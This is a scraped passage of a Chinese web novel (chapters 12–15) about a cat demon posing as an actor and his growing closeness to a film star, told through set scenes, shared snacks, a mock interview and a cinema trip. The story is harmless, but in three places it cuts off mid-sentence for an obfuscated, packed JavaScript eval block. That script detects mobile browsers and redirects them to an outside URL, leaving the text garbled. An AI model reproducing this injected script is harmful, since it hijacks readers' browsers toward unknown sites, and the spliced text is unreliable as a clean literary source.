“也不知道砚哥现在怎么样了,砚哥以前是素人,肯定没遇到过今天这样的事。虽然他说自己不生气,但不生气不代表不会伤心啊,我该怎么安慰他呢?” “砚哥一定是伤心了,才先回旅馆休息的。唉,今天这一出事闹的。” 助理的话提醒了小猫,他得提前回到旅馆,才不会露馅,万一那个人类晚上来找他呢? 小猫的预感没有错,晚上江泠果然来找自己了。 薄砚跟着他走进房间,问道:“找我有什么事?” 江泠笑了一下:“请你吃宵夜。” 薄砚点点头,忽然想起什么,又开口问道:“你会做饭?” “不会。” “哦。”薄砚放下心来,在做饭这件事上他已经输给唐冰了,不能再输给江泠。 江泠拿出零食放在茶几上:“这个当宵夜可以吗?” “可以。”薄砚说着,拿起一包薯片吃了起来。 江泠倒了杯牛奶,放在薄砚面前:“昨天你给我的软糖里有牛奶口味的,你应该不讨厌牛奶吧?” 薄砚摇头:“不讨厌。” 过了一会儿,江泠又说道:“今天天气很好,星星应该很亮。” 薄砚:“嗯。” 江泠看着他:“要一起看星星吗?” “不了。”薄砚拆了一包虾条,又往兜里塞了一小袋棉花糖,忙得不亦乐乎。 江泠打开电视:“秦导前段时间拍了部挺有意思的微电影,今天正式上线各大平台,有兴趣看看吗?” 薄砚问道:“什么类型的电影?” 江泠:“带一点恐怖元素,但总体来说是喜剧。” 薄砚:“不看。” 江泠关了电视,又和他聊起别的话题。 薄砚抬起头,疑惑地盯着江泠。这个人类有点反常,他平时话没这么多,今天这是怎么了? 薄砚在脑海中快速过了一遍今天发生的事。剧组官宣演员阵容后,他被那个什么棋的粉丝骂了,李导担心他情绪不好,将他的戏份挪到了明天;助理觉得他会伤心,想方设法地安慰他…… 该不会这个人类也以为,他提前回旅馆是因为伤心吧? “谢谢你特意安慰我。”薄砚看着江泠,认真地开口道,“不过你不了解我,其实我一点都不伤心,真的。” 江泠沉默片刻,牵起唇角笑了笑,声音轻得像落了层雾:“好的。” 12. 第12章 次日一大早,唐冰敲开薄砚的房门,说道:“今天坐我的车去片场吧。” 薄砚:“你不睡懒觉了?” 唐冰:“你今天要拍水下戏,猫不是最怕水吗?我去看着你,好随时救你于水深火热之中啊小猫猫。” 薄砚被“小猫猫”这三个字恶心到了,顿时觉得唐冰那张仙气飘飘的脸变得面目可憎起来,头也不回地下楼坐车去了。 “砚哥,早上好。”助理小声打招呼道。 薄砚拉开车门,果不其然,江泠正闭着眼睛补觉。 薄砚压低声音道:“要不今天我坐唐冰的车吧,唐冰一会儿也去片场。” “不用。”江泠睁开眼,拉了他一下,又闭上眼睛。 “好吧。”薄砚坐上车。 汽车缓缓启动,车厢里流淌着一段舒缓的音乐,像春雨落在青石板上,雨声裹着旋律漫进心里,让整颗心都沉了下来。 没过多久,薄砚也睡着了。他歪着头,长长的睫毛在脸上投下一片浅浅的阴影。 这边的路况不太好,汽车有些颠簸,薄砚的头随着起伏一点一点的,长长的发丝垂下来,发梢时不时扫过江泠的指尖。 江泠睁开眼睛,垂眸看着手边那缕柔软的银发。 太阳逐渐升高,日光透过树木落在薄砚脸上,投下明灭光影。似乎被巅得有些不舒服,他轻轻皱起眉头。 江泠下意识抬手,指尖悬在半空,就在他迟疑的瞬间,汽车突然剧烈颠簸了一下,薄砚的头猛地一歪,脸颊恰好枕在他的掌心里。 乍然触到一片凉意,薄砚被激得清醒过来,带着水汽的目光直直撞进江泠尚未来得及收回的视线里。他迷迷糊糊地问道:“怎么了?” 江泠垂下眼,轻轻扶正他的身体,随后收回手。 助理道歉道:“砚哥,这边的路况不太好,前天下了一场暴雨,这路就更不好走了。不好意思啊,吵醒你了。” 薄砚摇头道:“没关系。” 助理又问道:“砚哥,我下载的雨声助眠音乐怎么样?我看你也睡着了。” 薄砚:“效果很好。” 既然车上的两位乘客都醒过来了,助眠音乐也就没必要放了,助理把车上的音乐换成自己常听的歌单。 江泠闭着眼,一个温热的东西突然贴上他的手指。他睁开眼,发现薄砚往他手边放了一个戴着毛线帽的姜饼小人。 “你的手太凉了,送你一个暖手宝。”薄砚摘下姜饼小人头上的帽子,把光秃秃的暖手宝塞进他手里。 江泠摸了摸姜饼小人圆溜溜的脑袋瓜,暖融融的温度顺着指尖蔓延而上,瞬间驱散了凉意。 他将姜饼小人拢在掌心,低声道:“谢谢。” 薄砚看着江泠。他还是觉得这个人类有些反常,从昨晚到现在,这个人类一直都怪怪的,就连他身上的温度都很不正常。 薄砚伸出手,碰了一下江泠的手指。皮肤相触的瞬间,那股寒意顺着他的指尖猛地攀上来,连带着自己的体温都被吸走了几分。 薄砚攥住他的手指,用掌心裹着捂了几秒后,收回手。 江泠睁开眼,目光在自己的手指上落了一瞬,复又闭上眼。 太阳逐渐升高,他们终于到达了片场。薄砚跳下车,伸了一个懒腰。对于他来说,坐车永远是一件无聊且累的事情。 助理打开后背箱,从里面拎出一个行李箱,对薄砚说道:“砚哥,我帮你把箱子送到休息室吧。” 薄砚认出这是那个装满了零食的行李箱,转头问江泠道:“你要把零食都送给我?” 江泠点点头。 “谢谢,你真是个好人。”薄砚从助理手中接过行李箱,拖着它健步如飞地走向休息室。 助理看着他的背影感叹道:“砚哥真是一个神奇的人,不仅长得好看,性格还特别有意思。你送零食,人家就大大方方地收,一点都不矫情!” 江泠瞥了他一眼。 助理秒读懂他的眼神,连忙解释道:“我没说你矫情啊哥,不带这么对号入座的!” 薄砚并没有听到助理“大大方方不矫情”的七字评价,他把塞满零食的行李箱藏好之后,就去准备今天的拍摄。 今天要拍湖妖初次化成人形的水中特写,他需要下潜到指定水层完成拍摄。 李导眉头紧锁,薄砚安慰他道:“不用担心,进组前我专门训练了两周闭气和水下定点停留,一定没问题的。” 一切准备就绪,导演喊“开始”的瞬间,薄砚猛地往下一潜,整个人瞬间没入水中。 李导冲水下安全员挥了挥手,比了个“靠近机位”的手势,又指了指自己的太阳穴,示意他盯紧薄砚的状态。 唐冰抱着毛巾站在一旁,见导演和编剧都皱着眉头,他连忙收起那副松松散散的站姿,脸上也堆起几分焦急担忧的神色。 导演喊“卡”的瞬间,薄砚破水而出,抹着脸上的水往岸边游。银发湿漉漉地贴在脸颊上,水珠顺着发梢往下滑,在颈侧汇成细流,淌进湿透的戏服领口。 在水里泡了一会儿,他的皮肤泛着一种近乎透明的白。 助理扒着一棵树看呆了,等唐冰用毛巾裹住薄砚之后,他才回过神。 “世界上真有这么离谱的颜值?这是人类所能拥有的颜值?”助理怀疑人生地转过头,见江泠合上剧本,便问道,“泠哥,你看完剧本啦?” 江泠点点头:“回休息室。” 听完导演和编剧对他的轮番夸赞后,薄砚裹着毛巾往休息室的方向走。唐冰又往他的肩膀上搭了一条毛巾,说道:“小心点,别感冒了。” 薄砚疑惑地看着他:“你没事吧?” 唐冰睁大眼睛:“不是吧小猫咪,下山才多久啊,就学会双标了?” 薄砚:“什么双标?” 唐冰:“上次江影帝给你送毛巾的时候,你可不是这副态度。” “他又不知道我是猫妖。”薄砚说完这句话后,转回头看了一圈。 唐冰问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023659|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“怎么了?” 薄砚:“没什么。” 回到休息室后,唐冰开口道:“今天的戏份已经拍完了,剩下的时间要干嘛?回旅馆吗?” 薄砚不答反问:“你觉得江泠是人吗?” 唐冰:“文明一点,怎么还骂人呢?” 薄砚:…… “是人。”唐冰肯定地点点头,“你怎么会问这样的问题?” 薄砚:“你学艺不精,我还是问一下唐凝吧。” “我就算再学艺不精,也不至于连人和妖怪都分不清。”唐冰翻了个白眼,“快回答我的问题,你接下来要干嘛?回旅馆吗?” 薄砚摇头:“不回,我要跟着江泠。” 唐冰:“行吧,我祝你打败煤球。” “说曹操曹操就到”这句俗语在喵界也同样适用,唐冰的话音刚落没多久,黑猫戚夏就发来一条新消息。 【煤球:周五我要去溪市拍mv,来探班吗?】 【薄砚:你不是模特吗?】 【煤球:。】 【薄砚:?】 【煤球:。】 【薄砚:?】 【煤球:……】 【薄砚:?】 这一场标点符号大战,最终还是戚夏败了。 【煤球:你一点都不了解我的梦想。】 【薄砚:你大名戚夏,小名年年,外号煤球,七岁的时候和对面那只傻鸟吵架,被傻鸟气哭了,和他绝交了整整三个月;十岁的时候修成人形,因为皮肤白哭了整整一天。】 【薄砚:你求了叔叔一个月,求他把你变黑,真变黑后你又不高兴了,最后被叔叔狠狠地揍了一顿,还是我姐求情,叔叔才把你变回来的。】 【煤球:……】 唐冰见他绷着个脸,噼里啪啦一顿按,就问道:“怎么又生气了?” 薄砚:“我没生气。” 唐冰:“可拉倒吧,我还看不出来你生没生气?戚夏给你发什么了,气成这样?” 薄砚:“那颗煤球说我不了解他。” 唐冰探过头看了一眼:“他说的是你不了解他的梦想,没说你不了解他这只猫。” 薄砚沉默地盯着他。 唐冰连忙改口道:“戚夏这话确实伤人,大家都是邻居,从小一起长大,互相了解得不能再了解了。不过你别因为他的话伤心,咱们山上就没几个说话带脑子的。” 薄砚看着聊天框里的“了解”两个字,突然想起昨天晚上江泠安慰他的时候。 薄砚放下手机,顿了一下,问唐冰道:“要是有个不太熟的人,以为你会因为某件事情难过,特意跑来安慰你。但你跟他说‘你不了解我,其实我一点都不伤心’,这么说会不会有点伤人?” 唐冰点点头:“当然了,人家抱着善意来安慰你,明显是把你当朋友了,结果你来一句‘不了解’,多伤人啊。” 薄砚抿了抿唇,变成原形道:“我去找江泠了,你先回旅馆吧。” 13. 第13章 唐冰伸手拦住他:“等会儿再去,每次你一回休息室,小猫就会出现,难免惹人怀疑。” 薄砚觉得他说得有道理,重新变成人形,从行李箱里翻出一包薯片,慢悠悠地吃着。吃了一会儿,他问道:“你今天有心情做晚饭吗?” 唐冰点头:“有啊,我刚从网上学了一个新菜,正好做给你吃。” 薄砚:“多做点儿吧,江泠送我这么多零食,我想请他吃宵夜。” “演员得保持身材,何况现在还是拍戏期间,总请江影帝吃宵夜也不太合适。”唐冰想了想,提议道,“要不你明天请他吃早餐吧?” 薄砚点点头。将近中午的时候,他变成原形,从不显眼的角落钻了出去。 助理拎着两份盒饭往回走,正巧遇到从帐篷区后方转出来的小猫。他打招呼道:“你好呀,小猫咪,吃过午饭了吗?” 小猫走过去,慢悠悠地跟在他身后。 助理带着小猫回到休息室,放下盒饭开口道:“泠哥,我把午饭取回来了,还带回了你唯一的猫粉丝!” 小猫走到江泠身边,跳上他旁边的另一张椅子。 江泠扬了扬下巴:“你好。” 小猫乖巧地看着他,装作什么都听不懂的样子。 助理拍手道:“干得漂亮,小猫咪!我哥已经开始主动和你打招呼了,你再努努力,很快就能追星成功了!” 江泠倒了一杯水,又从盒饭里夹出一块蒸熟的红薯,转头问助理:“猫能吃红薯吧?” 助理点点头:“能吃,我奶奶家的芝麻除了猫粮以外,最爱吃的就是红薯和南瓜了。不过不同猫的口味不同,也不知道这只猫喜不喜欢吃红薯。” 说到这儿,他突然想起什么,跑出帐篷外看了一眼,回来说道:“赵老师正给球球喂午饭呢,要不我去向她要点猫粮?” 助理嘴上说着要去,身体却没挪动半步,反倒带着几分犹豫地望着江泠。 江泠站起身:“我去吧。” “我这助理当得也太不称职了,幸亏泠哥人好,不跟我计较。” 助理叹了口气,语气里带着几分无措:“泠哥跟李导、赵老师已经合作第三次了,他在旁边的时候,我还能跟着搭几句话;可要是让我单独面对他们,我是半个字都不敢说,其实我挺怵圈里这些人的。” 小猫静静地听他倾诉,却没想到吃瓜吃到了自己头上。 “不过砚哥不同,看李导和赵老师对他的态度,我就知道砚哥肯定不是一般人。但我一点都不害怕他,我看到他的第一眼,就觉得他和其他人不一样。” 小猫甩了甩尾巴。他是猫,当然和人不一样了。 江泠回来了,助理快步迎上去,接过他手里的猫粮,狗腿地笑道:“辛苦了哥,剩下的事情我来吧,你快吃饭。” 助理忙活了好一阵,小猫却一口都没吃。他有些内疚地对江泠说道:“估计小猫在家吃饱了才跑出来玩的,不好意思啊哥,让你白跑一趟。” 江泠笑着看他:“怎么这么矫情?” “哥,你也太记仇了吧!早上那会儿我压根没说你,是你自己要对号入座的!”助理化愤怒为食欲,连着扒了好几口饭。 午饭过后,江泠坐在帐篷外的遮阳伞下,看经纪人发来的剧本。 小猫趴在桌子上,面朝屏幕,装作被光吸引的样子,实际上却是在看屏幕里的剧本。 第一个剧本是古代权谋,立意很高,但剧情差了那么一点意思;第二个剧本是恐怖向的,小猫看了两眼,就不敢再继续看下去了。 江泠打开第三个剧本,第三个剧本的名字叫《时空里的红木柜》。 山村里的老木匠孙有福,一辈子没离开过大山,但他的儿子孙康很有出息,不仅考上了大学,还找了一份城里的工作。 孙康要和谈了三年的女朋友结婚,孙有福乐得合不拢嘴,每天都上山砍树,想为儿子做一套结婚用的家具。 就在一切走向圆满的时候,意外却突然降临。某天回来的路上,孙有福突然脚滑摔下山崖,就此丧命。 孙康原本打算将父亲接到城里,可惜因为一些原因耽误了,没想到一次错过,就终身错过了。 这部看似聚焦亲情遗憾的BE剧本,实则暗藏玄幻伏笔和惊天反转。小猫觉得剧本很不错,转头去看江泠的反应。 江泠一动不动地坐着,目光停留在剧本最后一页的空白处。 小猫抬起头环视一圈,发现桌子上摆着一束工作人员采来当拍摄道具的野花,一只蝴蝶恰好飞过来,落在花瓣上。 他立刻收起爪子,肉垫贴着桌面悄咪咪凑过去,蓬松的尾巴不经意扫过江泠的衣袖。 江泠转过头,正巧看见小猫小心翼翼地伸爪去碰蝴蝶,还没碰到呢,蝴蝶忽的振翅飞起,直扑他的脸。 小猫惊得往后一缩,后腿没站稳,“咚”地一声摔了个圆滚滚的屁股蹲,尾巴瞬间炸成蓬松的小毛球。 他抬起头,望着飞走的蝴蝶,愣了好半天,最后才小声地“喵”了一声。 江泠勾起唇角:“笨蛋。” 小猫跳到椅子上,得意地甩甩尾巴。他故意出丑,只是为了哄这个人类开心罢了,被他哄得团团转的人才是真的笨蛋呢。 江泠用脚勾过旁边的椅子,伸出手臂轻轻搂了一下小猫:“陪我看完剩下两个剧本吧。” 小猫看着他,在心里“嗯”了一声。 剩下的两个剧本质量都不错,但无论是情节设定、人物塑造还是核心冲突,都缺少打破常规的惊喜感,难以在同类作品中形成鲜明的辨识度。 五个剧本都看完后,午休时间也结束了。江泠去拍戏,小猫在原来的位置上坐了一会儿,趁着没人的时候绕到休息区后方,钻回自己的帐篷。 唐冰见他回来,开口道:“我好无聊,陪我打游戏吧。” “你自己玩吧,我要睡午觉了。”小猫说着,钻进软乎乎的毛毯里。 唐冰看着他:“还不如回旅馆睡午觉呢,反正你今天的戏份已经拍完了。” 小猫从毛毯里钻出来:“也对。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023660|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他变成人形,先去跟导演打了声招呼,随后坐上唐冰的车回旅馆睡午觉。睡醒之后,薄砚拿起手机,点开江泠的对话框。 【薄砚:明早有空吗?请你吃早餐,作为你送我零食的回礼。】 几分钟后,那边回复了一个【好】。 【薄砚:那就这么说定了,明早七点我去找你。】 【江泠:好。】 次日一大早,薄砚提着唐冰做好的早餐去找江泠。进屋后,他先将早餐一一摆好,又回自己的房间端来两杯焦糖布丁。 江泠问道:“这些都是唐冰做的?” “对。”薄砚点点头,指着四笼包子道,“这笼是火腿豆皮包,这笼是韭菜鸡蛋包,这笼是豆沙包,这笼是奶黄包,你看你爱吃哪种馅儿的。” 介绍完桌上的早餐,他随手拿起一个奶黄包咬了一口。江泠起身倒了杯热牛奶,轻轻放到他手边。 薄砚惊讶道:“你怎么知道我喜欢喝牛奶?你真了解我!” 江泠品味着他口中的“了解”二字,挑了下眉。 被对面那人盯着,薄砚莫名觉得有些尴尬,低头舀了一勺布丁。 江泠垂眸,掩去眼底一闪而过的笑意,波澜不惊道:“慢点吃,不着急。” “哦。” 薄砚舀了几口布丁,直到感觉落在自己身上的视线收了回去,才抬眸望向对面。 江泠吃东西的速度极慢,细嚼慢咽的。薄砚看了两眼,开口问道:“你喜欢吃火腿豆皮馅儿的包子?” 江泠恹恹地应了一声:“嗯。” 薄砚见他兴致不高,心里的愧疚再次涌上来,脱口而出道:“明天我再请你吃早餐吧,火腿豆皮馅儿的包子很好做,把火腿和豆皮剁碎,放上调料蒸熟就行了。” 江泠垂着眼睛:“会不会太麻烦了?” 薄砚摇头:“不麻烦。” 反正都是唐冰做。 早餐过后,两人一同下楼乘车。助理也收到了唐冰做的焦糖布丁,一路上兴致勃勃地跟薄砚夸个不停,语气里满是惊喜。 “砚哥,你一定要把我说的话原封不动地转告给唐冰哥,他人真的太好了,你们都太好了!” 薄砚点头道:“没问题。” 品尝过香甜软糯的焦糖布丁之后,助理觉得自己彻底融入了四人小团体,眉飞色舞地和薄砚分享在片场遇到的各种新鲜趣事。 “砚哥,之前我不是跟你说过吗,片场来了只特别漂亮的银色小猫。你知道吗?那只猫好像是我哥的粉丝,我哥走到哪儿他就跟到哪儿,特别神奇!” 薄砚配合地问道:“那只猫为什么会跟着江泠?” “我也好奇这个问题。”助理想了想,开口道,“听说猫都是靠气味认人的,说不定泠哥身上有什么特别的味道,才把小猫吸引过来了。可我哥拍戏时从不喷香水,也就出席活动才会用代言的那款。” 作为一只靠脸认人的猫妖,薄砚还真没留意过江泠身上有什么香味。他凑到江泠颈侧,轻轻闻了一下。 14. 第14章 江泠身上的味道很特别,不是寻常的花果香,而是一种雪花的清香。 “挺好闻的。” 薄砚正打算退回去,江泠突然伸出手,环住他的背。 薄砚推了他一把:“干嘛?” 江泠问道:“你身上是什么味道?” “你闻吧,保证你猜不出来。” 薄砚抬起下巴,颈侧薄薄的一层皮肤白到透明。 江泠收紧手臂,将人圈到身前,凑过去轻轻闻了一下。两人之间的距离极近,清冽的雪香铺天盖地环绕过来,裹得薄砚无处可避。 温热的呼吸洒在颈侧,他不由自主地缩了缩肩膀。 江泠指尖微微施力,掌心贴着肩胛骨的弧度,感受着怀里人细微的战栗。 “这是什么味道?倒真闻不出来。”江泠喃喃道。他的声音比平时低了几分,透着漫不经心的喑哑,气息随着话语轻轻拂在薄砚颈间。 薄砚的心跳愈发急促,他猛地推开江泠,语气里带着几分说不清的慌乱:“你刚刚是不是想咬我?” “什么?”江泠疑惑地抬起头。 薄砚下意识摸了摸脖子。石老师曾经说过,作为一只猫,遇到天敌、察觉到危险时,总会心跳加速,而心跳加速,就是害怕的滋味。 他盯着江泠看了好几眼,怎么看都不觉得眼前这个人类像自己的天敌。何况作为一只猫妖,他压根没有所谓的天敌。 薄砚百思不得其解地捂着胸口,胸腔里的心脏仍在剧烈跳动。 江泠问道:“怎么了?” “没什么。”薄砚不着痕迹地往旁边挪了一寸,“猜出我身上是什么味道了吗?” 江泠问道:“是花香吗?” 薄砚点点头:“是,但你要猜出具体是什么花,五次之内猜不到就算你输。” 江泠猜了好几种花香都没有猜对,薄砚翘起唇角:“你输了。” 他从兜里掏出一个香囊:“这里面装着月栖花的花瓣,我身上的香气便来源于此。月栖花是一种银白色的小花,仅在满月之夜开放,它的香气很特别,遇静则浓,遇动则淡。” 江泠扬了下眉:“这么神奇?” 听到他的话,薄砚突然意识到,月栖花生长在月轮山,人类社会没有这么神奇的花。他自觉失言,连忙转移话题道:“你的手怎么不冰了?” 江泠从口袋里掏出姜饼小人:“因为你送的暖手宝很好用。” 薄砚点点头,趁着江泠低头研究暖手宝的空档,飞快把香囊塞回口袋里。到了片场之后,他才忽然想起来,自己刚才只顾着和江泠打赌,完全忽略了助理小石。 薄砚转头看向旁边的人,语气里带着几分歉意:“小石,你爱吃什么馅儿的包子?回头我给你带。” 小石愣愣地点点头,又愣愣地摇摇头,最后梦游般地走了。 薄砚疑惑道:“他这是什么意思?” 江泠:“不爱吃包子的意思。” 薄砚:…… 今天的拍摄任务不重,因为下午会有媒体来片场探班,探班之后就是三天的法定假期,到时候剧组也会放假。 李导找到薄砚,问道:“媒体探班安排了群访环节,你要不要上镜露个面?” 薄砚:“群访是什么?” 李导解释道:“就是媒体集中提问,大多围绕剧组拍摄进度、角色塑造、片场路透这类常规问题,不用准备太复杂,顺着话头说就行;也可能问一些生活化的软问题,这种问题就更好回答了。” 江泠将剧本卷成筒状,递到薄砚面前:“模拟一下采访。小薄同学,你觉得自己为什么会被选中出演湖妖落亭这个角色?” 薄砚:“因为原定演员塌房了。” 江泠继续问道:“在湖妖落亭的塑造过程中,你遇到过最大的挑战是什么?” 薄砚:“没遇到过什么挑战。” 江泠:“剧组的伙食怎么样?” 薄砚:“难吃。” 江泠:“小薄同学的言辞很犀利啊,可以换个委婉点儿的说法吗?” 薄砚改口道:“猫都不吃。” 江泠:“剧组里谁化妆的时间最短?谁化妆的时间最长?” 薄砚:“不知道。” 李导:…… 江泠抱着剧本,笑弯了腰。 李导苦兮兮地皱着脸:“小薄啊,回答记者提问的时候,言辞要委婉一点,不然你会被人黑的。” 薄砚:“我不在乎陌生人的看法。” 李导还想说些什么,薄砚开口道:“李导,我不想参加媒体群访环节,您让别人去吧。” “好吧。”李导点点头,转身去找别人了。 江泠突然叹了一口气。 薄砚问道:“怎么了?” 江泠:“我在想那些记者会问我什么问题。” 薄砚:“他们会刁难你吗?” 江泠苦笑了一下:“明着刁难倒是不至于,可暗地里的坑防不胜防,但凡踩进去一个,铺天盖地的黑通稿和黑热搜立马就能把我淹了。” 薄砚:“之前记者都问过你哪些难答的问题,你列出来,提前演练一下。” “有道理。”江泠点点头,向工作人员要了纸笔,列举了几个记者可能会问到的问题。 他低着头写字,碧色簪子斜插在发间,簪尾垂落着树叶形状的流苏。薄砚忍不住拍了一把,流苏滑出半寸,又被发丝绊住。 江泠顿了一下,落笔不停,继续写记者可能会问到的问题。就在薄砚第三次拍过来的时候,他抬起手,攥住那截捣乱的手腕。 “好玩吗?” “好玩。”薄砚真心实意地点点头。 助理拿着水杯走出来,正好看到江泠攥着薄砚的手腕。他懵了:“泠哥,砚哥,你们在干嘛?” 薄砚:“下午的媒体探班有群访环节,我们正在列举一些记者可能会问到的问题。” “哦。”助理放下水杯,疑惑地挠挠头。江泠从出道起,应对记者提问主打一个随心所欲,今天怎么突然认真准备起稿子来了?难道下午来的媒体有什么特别之处? 助理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023661|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心了好半天,没想到下午的采访特别顺利,来的记者都挺实在,不故意挖坑,也不问那些乱七八糟博眼球的话题,全程都很靠谱。 探班结束之后,李导把所有演职人员集中在一起,宣布为期三天的假期。 剧组里一片欢腾,助理也是眉开眼笑的,他兴冲冲地分享完自己为期三天的旅行计划之后,转头看向薄砚:“砚哥,你这三天打算怎么过啊?” 薄砚:“回家。” 江泠看着他:“不要忘记欠我的礼物。” 薄砚突然想起什么:“对了,周五我要去溪市见个朋友。” 江泠:“好巧,我也得去溪市一趟。” “那周五的时候,我们在溪市见面吧,我把欠的礼物补给你。”薄砚说道。 江泠弯起唇角:“好。” 溪市是一座很繁华的大都市,高楼鳞次栉比,主干道上车流如织。薄砚百无聊赖地坐在包厢里,手里捧着一杯牛奶。 几分钟后,一道人影推开包厢走进来。来人穿着一件剪裁利落的黑色冲锋衣,戴着同色系棒球帽,帽檐压得极低,深色口罩遮住了大半张脸,只露出一双内勾外翘的凤眼。 薄砚:“哪里来的悍匪?” 男人走到他面前,抓住他的手臂,薄砚挣扎了一下:“干嘛?” 江泠:“干一点悍匪该干的事情。” 薄砚:…… “我看你不像悍匪,倒像一颗煤球。” 江泠放开他,摘下帽子和口罩:“你家煤球?” 薄砚:“你很喜欢煤球?” “喜欢。”江泠垂眸,瞥了一下自己的手掌。 见他一副遗憾摸不到煤球的样子,薄砚闷闷道:“煤球有什么好摸的,你在剧组不是有一只猫粉丝吗?” 江泠:“那是别人家养的猫。” 薄砚撇撇嘴。 江泠摘下帽子和口罩,问道:“你朋友呢?要不要约他一起出来玩?” “他很忙,得下午六点之后才能有时间。”薄砚喝了口牛奶,无聊地望向窗外。 江泠提议道:“要不然咱们去看电影吧?” 薄砚:“你不是还有事情要办?” 江泠:“昨天已经办完了。” 薄砚:“那就去看电影吧。” 影院入口的电子屏幕上滚动着今日上映的影片清单,海报上要么是阴恻恻的鬼脸特写,要么是昏暗走廊里的模糊人影。薄砚攥着拳头,目不斜视地走到售票机前。 “今天是什么日子,新上的电影全是恐怖向的。”江泠滑动屏幕浏览片单,目光忽然定格在一张暖黄色的海报上,“这里有一部重映的电影,要看这部吗?” 薄砚凑过去看了一眼,暖黄色的海报上赫然印着七个大字:《最后一片银杏叶》。 这不是之前山里下暴雨,他和江泠一起看的那部恐怖片吗? “不看。”薄砚摇头,“我不看恐怖片。” 江泠:“怎么会是恐怖片呢?这一看就是部很温情的电影。” 薄砚:…… 15. 第15章 薄砚恶狠狠地瞪着江泠的侧脸,心底把他骂了八百遍,就知道这个人类没安好心。但他又不能说自己早就看过这部电影,万一这个人类将他和小猫联系到一起怎么办? 毕竟这货除了一肚子坏水之外,脑洞还格外地清奇。 “就这部吧。”薄砚缓缓闭上眼睛。至少这部电影之前看过,被吓之前还能有个心理准备。 上午的电影院本就冷清,他们又选了一部重映老片,看的人只有他们两个,座位可以随便选,薄砚毫不犹豫地选了最后一排。 江泠:“确定选这里?” 薄砚:“确定。” 江泠看着他,一副欲言又止的模样。 薄砚:“有话快说。” 江泠笑了一下:“算了,不忍心吓唬你。” 薄砚:…… 虚伪,虚伪至极! 电影还有半个小时才开场,两人先去零食区买巧克力。 “悍匪,你吃什么味道的巧克力?”薄砚问道。 江泠:“牛奶巧克力就行。” 店员小姑娘正低头整理货架上的糖果,听见熟悉的声音吓了一跳,连忙抬起头,正巧对上江泠看过来的目光。 小姑娘捂着嘴,声音都有点发颤:“是,是泠哥吗?” 薄砚戳了一下江泠:“悍匪,你被认出来了。” 江泠笑着回答道:“是。” “泠哥,我、我是你的粉丝,从你演《长夜归宸》的时候就开始喜欢你了。” 小姑娘紧张得都快结巴了,她不敢和江泠对视,只好转头看着薄砚:“你、你们要哪款巧克力?卖的最好的是慕斯夹心的……” 薄砚:“要两盒牛奶巧克力,一盒软心巧克力,谢谢。” “不用谢。”小姑娘红着脸摇了摇头。 买完巧克力之后,江泠给她签了名,拜托她帮忙保密自己的私人行程。小姑娘眼睛亮晶晶地看着他,非常郑重地点点头。 离开糖果店,两人去等候区的沙发落座。薄砚从口袋里摸出一颗软糖,递到江泠面前:“吃软糖吗?” 江泠接过软糖,剥开糖纸放进嘴里,一股又酸又苦的味道猛地在舌尖炸开,生理性泪水猝不及防地漫上眼眶。 薄砚一脸担忧地望着他:“怎么了?” 江泠艰难地咽下软糖:“这糖的味道……” “怎么了?有什么问题吗?”薄砚剥开软糖,作势要自己尝一下。 江泠连忙拦住他:“别吃,这糖的味道不对。” “可能是唐冰买到了整蛊用的怪味软糖吧。”薄砚故作无奈地叹了口气,心底却乐开了花。那颗软糖可是唐冰炼出来的终极黑暗料理,谁要是敢尝上一口,保证苦得他看天天不蓝,看草草不绿。 “苦得我头晕。”江泠捂着头,身体轻轻一歪,倚在薄砚肩上。 大仇得报,薄砚现在的心情很好,不仅任由他靠着,还十分好心地问了一句:“要不然你吃颗巧克力中和一下?” 江泠:“没事,我休息一下就行。” “好吧。” 薄砚拿出手机,点开唐冰的聊天窗口,对他炼出来的黑暗料理大肆夸奖。 【唐冰:这种软糖不仅是酸苦,后续还有甜辣、咸涩很多种味道,不过后续的味道,普通人类尝不出来。】 【薄砚:那你再炼一颗,我给煤球吃,他肯定能尝出来。】 【唐冰:……】 【唐冰:戚夏真是倒了八辈子大霉,才遇到你这么一个坑货。】 【薄砚:?】 【薄砚:你俩一起坑我的事也不少。】 【唐冰:那也没办法,我们人类就喜欢折中。】 【薄砚:你语文学得真好。】 【唐冰:谢谢夸奖。】 薄砚无语地放下手机,一抬头发现休息区走进来一家三口,在他前排的沙发上落座。扎着麻花辫的小女孩扒着椅背探出脑袋,黑葡萄似的大眼睛,正一眨不眨地盯着他看。 薄砚与可爱的人类幼崽对望了一会儿,电影开场前十分钟,他推了江泠一把:“走吧,可以检票入场了。” 江泠缓缓站起身,指尖揉了揉额角:“总算缓过来了,谢谢小薄同学借我肩膀。” 